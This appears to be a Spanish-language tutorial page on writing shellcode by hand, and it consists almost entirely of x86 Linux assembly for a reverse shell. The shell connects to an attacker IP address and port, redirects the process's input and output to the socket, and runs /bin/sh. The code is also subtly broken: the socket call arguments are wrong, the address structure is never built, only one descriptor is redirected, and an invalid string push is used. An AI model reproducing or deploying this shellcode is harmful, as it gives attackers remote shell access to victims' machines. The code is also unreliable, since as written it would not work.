Generación Manual de Shellcode
bo
Codigo de assembly (ASM)
section .data
ip_address db '192.168.1.100' ; Dirección IP del atacante
port dw 4444 ; Puerto para la conexión
section .text
global _start
_start:
; Crear un socket
xor eax, eax ; limpiar eax
mov al, 0x66 ; syscall number para socketcall
xor ebx, ebx ; tipo de socket (AF_INET)
mov bl, 1 ; SOCK_STREAM
xor ecx, ecx ; protocolo (0 -> IP)
int 0x80 ; llamar al kernel
mov esi, eax ; el descriptor de archivo del socket
; Conectar al servidor remoto
xor eax, eax ; limpiar eax
mov al, 0x66 ; syscall number para socketcall
mov ebx, 3 ; sys_connect
lea ecx, [esp + 8] ; apuntar al sockaddr_in
int 0x80 ; llamar al kernel
; Redirigir la entrada/salida/errores a la conexión
; Duplica el descriptor del socket a stdin (0), stdout (1) y stderr (2)
xor eax, eax ; limpiar eax
mov al, 0x3f ; syscall number para dup2
xor ebx, ebx ; descriptor de archivo (0 para stdin)
mov bl, byte 0 ; descriptor de socket
int 0x80
; Ejecutar /bin/sh
xor eax, eax
mov al, 0x0b ; syscall para execve
xor ebx, ebx
push ebx ; null terminator
push dword '/bin/sh' ; string /bin/sh
mov ebx, esp ; apuntar a /bin/sh
xor ecx, ecx ; NULL (sin argumentos)
xor edx, edx ; NULL (sin variables de entorno)
int 0x80 ; llamada al kernel
; Salir
xor eax, eax
mov al, 1 ; syscall para exit
xor ebx, ebx
int 0x80Explicandote la Reverse Shell en asm
Compilar Assembly (ASM)
Reverse Shell en assembly (ASM)
Last updated